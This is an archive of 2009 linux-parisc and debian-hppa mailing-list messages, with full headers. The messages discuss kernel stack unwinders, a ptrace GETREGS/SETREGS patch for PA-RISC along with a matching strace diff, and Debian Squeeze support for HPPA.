	id 1MO2VY-0004gh-NK
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 06:42:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750741AbZGGEmP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 00:42:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1750968AbZGGEmP
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 00:42:15 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35949 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750741AbZGGEmO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 00:42:14 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MO2VS-0000rD-5g; Tue, 07 Jul 2009 04:42:14 +0000
Content-Disposition: inline
In-Reply-To: <4A52BBE2.7020507@tausq.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1881
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1881>

On Tue, Jul 07, 2009 at 11:07:14AM +0800, Randolph Chung wrote:
> the hppa kernel unwinder is derived from the ia64 unwinder, which is not  
> dwarf2 based.
>
> The only dwarf references I find in the kernel are some dwarf markups in  
> signal frames to help userspace with signal frame unwinding. Have I  
> missed anything?
>
> x86 seems to do something very ad-hoc.
>

indeed, it very briefly had a dwarf unwinder, but linus turned it off
again because it turned out to generate worse backtraces than just
chunking through stack frames with frame pointers enabled did. although,
there is talk of it growing one again now.

regards, kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git] parisc: Changes to ref refs/heads/tracehook
Date: Tue, 7 Jul 2009 06:45:41 GMT
Lines: 17
Approved: news@gmane.org
Message-ID: <200907070645.n676jfRv021773@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1246949187 19075 80.91.229.12 (7 Jul 2009 06:46:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 06:46:27 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 08:46:20 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MO4RU-00058b-PW
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 08:46:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752142AbZGGGpr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 02:45:47 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753153AbZGGGpr
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 02:45:47 -0400
Original-Received: from hera.kernel.org ([140.211.167.34]:41992 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753017AbZGGGpq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 02:45:46 -0400
Original-Received: from hera.kernel.org (IDENT:U2FsdGVkX18CSSIdcz5LZ1PZ8LX6UYfB+0MQE14m7bE@localhost [127.0.0.1])
	by hera.kernel.org (8.14.2/8.14.2) with ESMTP id n676jfta021774
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO)
	for <linux-parisc@vger.kernel.org>; Tue, 7 Jul 2009 06:45:41 GMT
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.2/8.13.1/Submit) id n676jfRv021773
	for linux-parisc@vger.kernel.org; Tue, 7 Jul 2009 06:45:41 GMT
X-Virus-Scanned: ClamAV 0.93.3/9539/Mon Jul  6 20:57:01 2009 on hera.kernel.org
X-Virus-Status: Clean
X-Spam-Status: No, score=-2.6 required=5.0 tests=BAYES_00,UNPARSEABLE_RELAY
	autolearn=ham version=3.2.5
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.0 (hera.kernel.org [127.0.0.1]); Tue, 07 Jul 2009 06:45:50 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1882>

New commits:
commit 8dcd3644bb70c18f5194c936232b2b703998ceeb
Author: Kyle McMartin <kyle@shortfin.cabal.ca>
Date:   Tue Jul 7 02:43:20 2009 -0400

    parisc: ptrace {GET,SET}REGS and compat
    
    Not for public consumption, testing with gdb seems to work, but strace
    using GETREGS seems broken.
    
    Not-signed-off-under-any-condition-by: Kyle McMartin <kyle@mcmartin.ca>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [git] parisc: Changes to ref refs/heads/tracehook
Date: Tue, 7 Jul 2009 03:16:14 -0400
Lines: 127
Approved: news@gmane.org
Message-ID: <20090707071613.GC3826@bombadil.infradead.org>
References: <200907070645.n676jfRv021773@hera.kernel.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1246950985 23669 80.91.229.12 (7 Jul 2009 07:16:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 07:16:25 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 09:16:18 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MO4uX-0002h8-2V
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 09:16:17 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751672AbZGGHQL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 03:16:11 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753608AbZGGHQL
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 03:16:11 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33220 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751672AbZGGHQK (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 03:16:10 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MO4uU-0001rA-2B
	for linux-parisc@vger.kernel.org; Tue, 07 Jul 2009 07:16:14 +0000
Content-Disposition: inline
In-Reply-To: <200907070645.n676jfRv021773@hera.kernel.org>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1883
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1883>

On Tue, Jul 07, 2009 at 06:45:41AM +0000, Kyle McMartin wrote:
> New commits:
> commit 8dcd3644bb70c18f5194c936232b2b703998ceeb
> Author: Kyle McMartin <kyle@shortfin.cabal.ca>
> Date:   Tue Jul 7 02:43:20 2009 -0400
> 
>     parisc: ptrace {GET,SET}REGS and compat
>     
>     Not for public consumption, testing with gdb seems to work, but strace
>     using GETREGS seems broken.
>     
>     Not-signed-off-under-any-condition-by: Kyle McMartin <kyle@mcmartin.ca>

If anyone wants to play with this, I converted a few of the ptrace calls
in strace to use GET|SET_REGS. They seem to be working ok despite my
comment above, which was just me being a muppet.

In my limited testing, it seems to work as expected...

diff -Nur strace-4.5.18/process.c strace-4.5.18.getregs/process.c
--- strace-4.5.18/process.c	2008-07-17 22:16:47.000000000 -0400
+++ strace-4.5.18.getregs/process.c	2009-07-07 03:02:00.000000000 -0400
@@ -726,8 +726,12 @@
 		return -1;
 	return 0;
 #elif defined(HPPA)
-	if (ptrace(PTRACE_POKEUSER, tcp->pid, (char*)(PT_GR20), new)<0)
-	    	return -1;
+	unsigned long regs[80];
+	if (ptrace(13, tcp->pid, (char*)&regs, 0) < 0)
+		return -1;
+	regs[20] = new;
+	if (ptrace(14, tcp->pid, (char*)&regs, 0) < 0)
+		return -1;
 	return 0;
 #elif defined(SH)
        if (ptrace(PTRACE_POKEUSER, tcp->pid, (char*)(4*(REG_REG0+3)), new)<0)
diff -Nur strace-4.5.18/syscall.c strace-4.5.18.getregs/syscall.c
--- strace-4.5.18/syscall.c	2008-08-24 23:16:26.000000000 -0400
+++ strace-4.5.18.getregs/syscall.c	2009-07-07 03:09:49.000000000 -0400
@@ -1862,9 +1862,14 @@
 		return -1;
 #else /* !SPARC64 */
 #ifdef HPPA
-	r28 = error ? -error : rval;
-	if (ptrace(PTRACE_POKEUSER, tcp->pid, (char*)(PT_GR28), r28) < 0)
-		return -1;
+	{
+		unsigned long regs[80];
+		if (ptrace(13, tcp->pid, (char *)&regs, 0) < 0)
+			return -1;
+		regs[28] = error ? -error : rval;
+		if (ptrace(14, tcp->pid, (char*)&regs, 0) < 0)
+			return -1;
+	}
 #else
 #ifdef SH
 	r0 = error ? -error : rval;
@@ -2094,15 +2099,20 @@
 	}
 #elif defined (HPPA)
 	{
-		int i;
+		int i, ret;
+		unsigned long regs[80];
+#define PTRACE_GETREGS	13
 
+		ret = ptrace(PTRACE_GETREGS, pid, NULL, (long)&regs);
+		if (ret < 0)
+			return -1;
+		
 		if (tcp->scno >= 0 && tcp->scno < nsyscalls && sysent[tcp->scno].nargs != -1)
 			tcp->u_nargs = sysent[tcp->scno].nargs;
 		else
-     	        	tcp->u_nargs = MAX_ARGS;
+     	        	tcp->u_nargs = 6;
 		for (i = 0; i < tcp->u_nargs; i++) {
-			if (upeek(pid, PT_GR26-4*i, &tcp->u_arg[i]) < 0)
-				return -1;
+			tcp->u_arg[i] = regs[26-i];	/* %r26 = %arg0, %r25 = %arg1... */
 		}
 	}
 #elif defined(ARM)
diff -Nur strace-4.5.18/util.c strace-4.5.18.getregs/util.c
--- strace-4.5.18/util.c	2009-05-06 11:38:56.000000000 -0400
+++ strace-4.5.18.getregs/util.c	2009-07-07 03:09:02.000000000 -0400
@@ -1900,6 +1900,7 @@
 	long pc;
 #elif defined(HPPA)
 	long iaoq;
+	unsigned long regs[80];
 #elif defined(SH)
        long pc;
 #endif /* architecture */
@@ -2053,8 +2054,9 @@
 		return 0;
 	}
 #elif defined(HPPA)
-	if (upeek(tcp->pid, PT_IAOQ0, &iaoq) < 0)
+	if (ptrace(13, tcp->pid, (char*)&regs, 0) < 0)
 		return -1;
+	iaoq = regs[40];
 	iaoq &= ~0x03;
 	if (iaoq != tcp->baddr && iaoq != tcp->baddr + 4) {
 		/* The breakpoint has not been reached yet.  */
@@ -2064,12 +2066,14 @@
 		return 0;
 	}
 	iaoq = tcp->baddr | 3;
+	regs[40] = iaoq;
+	regs[41] = iaoq;
 	/* We should be pointing at a 'ldi -1000,r1' in glibc, so it is
 	 * safe to set both IAOQ0 and IAOQ1 to that so the PSW N bit
 	 * has no significant effect.
 	 */
-	ptrace(PTRACE_POKEUSER, tcp->pid, (void *)PT_IAOQ0, iaoq);
-	ptrace(PTRACE_POKEUSER, tcp->pid, (void *)PT_IAOQ1, iaoq);
+	if (ptrace(14, tcp->pid, (char*)&regs, 0) < 0)
+		return -1;
 #elif defined(SH)
        if (upeek(tcp->pid, 4*REG_PC, &pc) < 0)
                return -1;
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 7 Jul 2009 09:57:41 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440907070657p17c781cci4e402bd344bf5a1f@mail.gmail.com>
References: <20090706214315.GA3826@bombadil.infradead.org>
	 <20090707014710.EF3975022@hiauly1.hia.nrc.ca>
	 <20090707024342.GB15572@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1246975085 31829 80.91.229.12 (7 Jul 2009 13:58:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 13:58:05 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>, Kyle McMartin <kyle@mcmartin.ca>, randolph@tausq.org, 
	James.Bottomley@hansenpartnership.com, deller@gmx.de, kurt@roeckx.be, 
	pkern@debian.org, debian-hppa@lists.debian.org, linux-parisc@vger.kernel.org, 
	debian-release@lists.debian.org
To: dann frazier <dannf@dannf.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Tue Jul 07 15:57:56 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOBBD-0003pY-9G
	for debian-hppa@m.gmane.org; Tue, 07 Jul 2009 15:57:55 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id EFFCF2D0C95; Tue,  7 Jul 2009 13:57:54 +0000 (UTC)
Old-Return-Path: <patofiero@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.3 required=4.0 tests=FOURLA,LDO_WHITELIST,
	SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 3C70813A47F8
	for <lists-debian-hppa@liszt.debian.org>; Tue,  7 Jul 2009 13:57:48 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-6.263 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 37y0NpZBHMvF for <lists-debian-hppa@liszt.debian.org>;
	Tue,  7 Jul 2009 13:57:43 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-ew0-f209.google.com (mail-ew0-f209.google.com [209.85.219.209])
	by liszt.debian.org (Postfix) with ESMTP id AC8C613A4730;
	Tue,  7 Jul 2009 13:57:43 +0000 (UTC)
Original-Received: by ewy5 with SMTP id 5so6004609ewy.30
        for <multiple recipients>; Tue, 07 Jul 2009 06:57:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=jJViyLwIYrVhcKdcMAVuFvo+wdLuMZHhWc5HQ/qQtx4=;
        b=YECqYy9QnKbcUJLvPX2f4rZ6OQAxvr7A/ZUb2qnB1Gox+QbYZbm9O1x+r/LU+Beh+8
         eusUftkVtNncvsJGdQlHOpTIKrYqkIQN16gzNtlORTXzSyFIPJQ9pZTSYNxDN5vCTkMC
         sXYeVyJLhxahPVYV9tdF6nYJB3t3onCUNxCTk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=ErLdXxGcApDvg8rog5YF1MZQ6LBNZIPsHLuQjpOHKyxS+9e4n7i6R3x1Q24D0aWXDd
         kiPmovKrs7sUuvZnJ9ZCTEWPo1laeoRUv66jS3/BNcpGiPIU+1OdvbzAK1LQFDJ3hGHf
         VtULfRMpkuRDGlko9645dbJQjWPy6WMx3LZlo=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.216.35.69 with SMTP id t47mr1558055wea.221.1246975061122; Tue, 
	07 Jul 2009 06:57:41 -0700 (PDT)
In-Reply-To: <20090707024342.GB15572@lackof.org>
X-Google-Sender-Auth: 41b70948f3d2f199
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <-WR5pHc-hNB.A.0_G.iR1UKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6820
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Tue,  7 Jul 2009 13:57:54 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5823 gmane.linux.ports.parisc:1884 gmane.linux.debian.devel.release:31055
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1884>

On Mon, Jul 6, 2009 at 10:43 PM, dann frazier<dannf@dannf.org> wrote:
> dannf@penalosa:~$ cat /proc/cpuinfo
> processor =A0 =A0 =A0 =A0 : 0
> cpu family =A0 =A0 =A0 =A0: PA-RISC 2.0
> cpu =A0 =A0 =A0 =A0 =A0 =A0 =A0 : PA8700 (PCX-W2)
> cpu MHz =A0 =A0 =A0 =A0 =A0 =A0 : 750.000000
> model =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 : 9000/785/J6700
> model name =A0 =A0 =A0 =A0 =A0 =A0: Duet W2
> hversion =A0 =A0 =A0 =A0 =A0 =A0 =A0: 0x00005dd0
> sversion =A0 =A0 =A0 =A0 =A0 =A0 =A0: 0x00000491
> I-cache =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 : 768 KB
> D-cache =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 : 1536 KB (WB, direct mapped)
> ITLB entries =A0 =A0 =A0 =A0 =A0 =A0 =A0: 240
> DTLB entries =A0 =A0 =A0 =A0 =A0 =A0 =A0: 240 - shared with ITLB
> bogomips =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0: 1495.04
> software id =A0 =A0 =A0 =A0 =A0 =A0 =A0 : 2001606322

This is very similar to my own box. In frustration I've started
installing a buildd on my own a500. I might as well run a buildd to
load the machine and see if any of the reported package FTBS crop up.

Cheers,
Carlos.



From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: parisc: unwind tables and backtraces broken?
Date: Tue, 7 Jul 2009 10:07:32 -0400
Lines: 25
Approved: news@gmane.org
Message-ID: <119aab440907070707u5cbf0de7j60fb80cef470f216@mail.gmail.com>
References: <20090707005018.C697F4FE0@hiauly1.hia.nrc.ca>
	 <4A52BBE2.7020507@tausq.org>
	 <20090707044214.GB3826@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246975712 1646 80.91.229.12 (7 Jul 2009 14:08:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 14:08:32 +0000 (UTC)
Cc: Randolph Chung <randolph@tausq.org>,
	John David Anglin <dave@hiauly1.hia.nrc.ca>,
	Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	dave.anglin@nrc-cnrc.gc.ca
To: Kyle McMartin <kyle@mcmartin.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 16:08:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOBL5-0008SH-G2
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 16:08:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757973AbZGGOHh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 10:07:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756836AbZGGOHh
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 10:07:37 -0400
Original-Received: from ey-out-1920.google.com ([74.125.78.146]:50415 "EHLO
	ey-out-1920.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756890AbZGGOHf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 10:07:35 -0400
Original-Received: by ey-out-1920.google.com with SMTP id 3so1014612eyh.36
        for <linux-parisc@vger.kernel.org>; Tue, 07 Jul 2009 07:07:33 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=zHZAsHtxX5rmEEHJHUTMHf/7I1i0xOPf8nt26Hyjces=;
        b=QIIn6RQ3HbqGczABtR2OMWCPQDMM2WyQ2cM771JdiumaBwB1LV2QbDywwnb84gs1iB
         tqpGA9WFOTAheUBOML3G85R5EhO2fF8QXZeh4s4AaT1pPnLpCJIX+MlJjlcl/GmymfsB
         Mk2T17rZqmEuRi3BplFo2HEOUnoxCIeb0tte4=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=gXpDbPJikBa/zqivxFSGszV+gJPw4MDA6ZkU7u7YhvVAJfY4GHpXpUREcbpP5U5Gkz
         I+79VEtBNnj5A6nNkgTxZTLW2Q4sjigNJQOOkQ7W1R79/FFCqPkHGBL1KcdUOpjLiJA7
         hG0g2ALfHDWLMSroJcPYvHuH02KP+7OFNaGlc=
Original-Received: by 10.216.22.78 with SMTP id s56mr1567285wes.100.1246975653129; Tue, 
	07 Jul 2009 07:07:33 -0700 (PDT)
In-Reply-To: <20090707044214.GB3826@bombadil.infradead.org>
X-Google-Sender-Auth: 965fe6c848b46992
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1885
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1885>

On Tue, Jul 7, 2009 at 12:42 AM, Kyle McMartin<kyle@mcmartin.ca> wrote:
> indeed, it very briefly had a dwarf unwinder, but linus turned it off
> again because it turned out to generate worse backtraces than just
> chunking through stack frames with frame pointers enabled did. although,
> there is talk of it growing one again now.

It will definitely need to grow a dwarf2 unwinder.

Any sane ABI should drop the hard frame pointer requirement in order
to get better code generation. For example on ARM under the EABI there
is no hard fp, you get that register back for other uses and it
simplifies prologue and epilogues. If you need an offset from the fp
the compiler synthesizes it for you, and reuses it appropriately after
the use is dead.

I thought bfd, and therefore readelf and objdump could read parisc
unwind info, if so, then what do those tools say about this broken
unwind info?

c.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Tue, 07 Jul 2009 09:11:17 -0500
Lines: 43
Approved: news@gmane.org
Message-ID: <1246975877.4522.9.camel@mulgrave.site>
References: <20090707014710.EF3975022@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1246975894 2298 80.91.229.12 (7 Jul 2009 14:11:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 7 Jul 2009 14:11:34 +0000 (UTC)
Cc: Kyle McMartin <kyle@mcmartin.ca>, carlos@systemhalted.org,
	randolph@tausq.org, deller@gmx.de, kurt@roeckx.be,
	pkern@debian.org, debian-hppa@lists.debian.org,
	linux-parisc@vger.kernel.org, debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jul 07 16:11:26 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MOBOH-0001bu-31
	for glpp-linux-parisc@gmane.org; Tue, 07 Jul 2009 16:11:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754928AbZGGOLY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 7 Jul 2009 10:11:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755689AbZGGOLX
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 7 Jul 2009 10:11:23 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:49082 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754912AbZGGOLX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 7 Jul 2009 10:11:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DCB638EE12C;
	Tue,  7 Jul 2009 07:11:22 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UN7GOZ-hO-So; Tue,  7 Jul 2009 07:11:22 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B04568EE0D5;
	Tue,  7 Jul 2009 07:11:20 -0700 (PDT)
In-Reply-To: <20090707014710.EF3975022@hiauly1.hia.nrc.ca>
X-Mailer: Evolution 2.24.1.1 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1886 gmane.linux.debian.ports.hppa:5824 gmane.linux.debian.devel.release:31056
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1886>

On Mon, 2009-07-06 at 21:47 -0400, John David Anglin wrote:
> > If I remember correctly, there's still some issues with the L2 cache on
